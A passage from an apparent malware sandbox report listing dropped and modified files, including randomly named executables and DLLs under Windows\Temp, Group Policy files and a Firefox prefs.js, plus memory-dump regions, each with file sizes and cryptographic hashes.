                                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\7nvvjyxe.default-release\prefs.js

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    df04bc01229b34183f04dfb0ad304496

                                                                                                                                                                    SHA1

                                                                                                                                                                    dc20bf939bbb8d5caf706be124d7097c64a00056

                                                                                                                                                                    SHA256

                                                                                                                                                                    a211e551f2c5bf596b9127dea2e850488b723949c15a53900f48922281c2660e

                                                                                                                                                                    SHA512

                                                                                                                                                                    e9aa8ea8966fb705abda2dde5aeaed8b7afedfe8b284a08fdee4985d45c9a7b80e2f05aca77f5c5429c85b46462707791c66b1483b1c7c8f77917c47c00e3ab6

                                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                    SHA1

                                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                    SHA256

                                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                    SHA512

                                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    d4077fbb8ec9d7ef7e1a8ad9e6ddf8b4

                                                                                                                                                                    SHA1

                                                                                                                                                                    62f13056c135f2ce9a62ded530aa4c8f412bd7e0

                                                                                                                                                                    SHA256

                                                                                                                                                                    1e54d8adac97aa0f80f079b21678c076e3b6e0e25d1939752030692a47893ea7

                                                                                                                                                                    SHA512

                                                                                                                                                                    045b646f28d743887d8d1b051ae37077672a8607c4311eb6f800b7ad9e229a0a2c41e7a603031a920664b308a35cf406914a2ab8a0e17ba30a37b6b25de88bf3

                                                                                                                                                                  • C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\WXXxIUS.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    3.4MB

                                                                                                                                                                    MD5

                                                                                                                                                                    30ff302895041efadd71864f3438d9e9

                                                                                                                                                                    SHA1

                                                                                                                                                                    f31b5114ff190d73a23908c2a9d1b818b76175df

                                                                                                                                                                    SHA256

                                                                                                                                                                    a643c8bb3e2035d4a418e59faac106d30a007f7092cedf01baf11cfd1c0a8bd6

                                                                                                                                                                    SHA512

                                                                                                                                                                    812f662e9064f5182eb730560b561eea686860435c799cb2fb93e5751ba3afca85edd8fc660a734e39a30f67384000861227be5b208da1a1d4e736867db5a874

                                                                                                                                                                  • C:\Windows\Temp\IzRZTwSZebgYVSAl\UmQyGdug\MqSDsga.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.8MB

                                                                                                                                                                    MD5

                                                                                                                                                                    1c101518c2f67e27b47a554c81cbd364

                                                                                                                                                                    SHA1

                                                                                                                                                                    0a12039a81c9f3705729ce61c45929fa1a906f3d

                                                                                                                                                                    SHA256

                                                                                                                                                                    138474c27a5277473f0ad29131d48e3f1437a81c0784bcac50c15ec87d9aa583

                                                                                                                                                                    SHA512

                                                                                                                                                                    6c00c3def0794ebdaf6f6bb4ad7b791d95c6fe3f98e90bbc0bd92f86b3bb2a6bfcbd54668133ebe170eba40c68038b990743453e0859d454b0b3b348f0bbfe6a

                                                                                                                                                                  • C:\Windows\Temp\IzRZTwSZebgYVSAl\UmQyGdug\MqSDsga.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    2.9MB

                                                                                                                                                                    MD5

                                                                                                                                                                    21fdab74d252e10f6c97a79a2ff5eb23

                                                                                                                                                                    SHA1

                                                                                                                                                                    c248b80db253527982a64d2c61f098bb4d175936

                                                                                                                                                                    SHA256

                                                                                                                                                                    fe80484b0798a003165b9d86125ab01bedfc94af375051beaa416a5104b906ad

                                                                                                                                                                    SHA512

                                                                                                                                                                    7568e01706ae0cc76d421fc8ed3f34ee591d96ce80d31f94e49e1a467d1bda246b71ad047c33ea8b1b8ffb33b116b9f63694cf7fa555476454a601e2170fb9c2

                                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    af5a6b277700c3d5f2b18476dc79bf88

                                                                                                                                                                    SHA1

                                                                                                                                                                    cd73d9b216467ce5ef9c4ed007f21506bdcda9ce

                                                                                                                                                                    SHA256

                                                                                                                                                                    3bd8efb7779a1f95f313b9e441b865476c5ba63acfdebf0b6647413451b58ec9

                                                                                                                                                                    SHA512

                                                                                                                                                                    27649baa11485fb0f10638344c934df823c1546abb396f12ee1932bc03c663d6186c3b7720d6cbb7d3afe7b2765713e896d67cca02d736fd65142b4a1b30d611

                                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                    Filesize

                                                                                                                                                                    268B

                                                                                                                                                                    MD5

                                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                    SHA1

                                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                    SHA256

                                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                    SHA512

                                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                  • memory/1468-494-0x0000000001E00000-0x00000000023E5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.9MB

                                                                                                                                                                  • memory/1612-77-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1612-78-0x0000000073A40000-0x00000000741F0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/1612-65-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1612-64-0x0000000073A40000-0x00000000741F0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/3272-36-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.9MB

                                                                                                                                                                  • memory/3396-97-0x00007FF9D0F80000-0x00007FF9D1A41000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/3396-84-0x0000017EA06A0000-0x0000017EA06B0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/3396-83-0x00007FF9D0F80000-0x00007FF9D1A41000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/3396-95-0x0000017EA06A0000-0x0000017EA06B0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/3864-503-0x0000000003460000-0x000000000353C000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    880KB

                                                                                                                                                                  • memory/3864-102-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.9MB

                                                                                                                                                                  • memory/3864-113-0x0000000002460000-0x00000000024E5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    532KB

                                                                                                                                                                  • memory/3864-155-0x0000000002840000-0x00000000028A3000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    396KB

                                                                                                                                                                  • memory/3864-485-0x00000000032F0000-0x0000000003372000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    520KB

                                                                                                                                                                  • memory/4024-11-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.9MB

                                                                                                                                                                  • memory/4076-16-0x00007FF9D13A0000-0x00007FF9D1E61000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/4076-25-0x0000015BC8070000-0x0000015BC8092000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    136KB

                                                                                                                                                                  • memory/4076-27-0x0000015BC8130000-0x0000015BC8140000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4076-26-0x0000015BC8130000-0x0000015BC8140000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4076-30-0x00007FF9D13A0000-0x00007FF9D1E61000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/4872-57-0x00000000055D0000-0x00000000055EE000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    120KB

                                                                                                                                                                  • memory/4872-40-0x0000000073A40000-0x00000000741F0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/4872-39-0x0000000001CB0000-0x0000000001CE6000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    216KB

                                                                                                                                                                  • memory/4872-42-0x0000000001D40000-0x0000000001D50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4872-41-0x0000000001D40000-0x0000000001D50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4872-43-0x00000000047D0000-0x0000000004DF8000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.2MB

                                                                                                                                                                  • memory/4872-44-0x00000000045F0000-0x0000000004612000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    136KB

                                                                                                                                                                  • memory/4872-45-0x0000000004EF0000-0x0000000004F56000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    408KB

                                                                                                                                                                  • memory/4872-51-0x0000000004F60000-0x0000000004FC6000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    408KB

                                                                                                                                                                  • memory/4872-56-0x00000000050D0000-0x0000000005424000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    3.3MB

                                                                                                                                                                  • memory/4872-58-0x0000000005610000-0x000000000565C000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    304KB

                                                                                                                                                                  • memory/4872-59-0x0000000001D40000-0x0000000001D50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4872-62-0x0000000073A40000-0x00000000741F0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB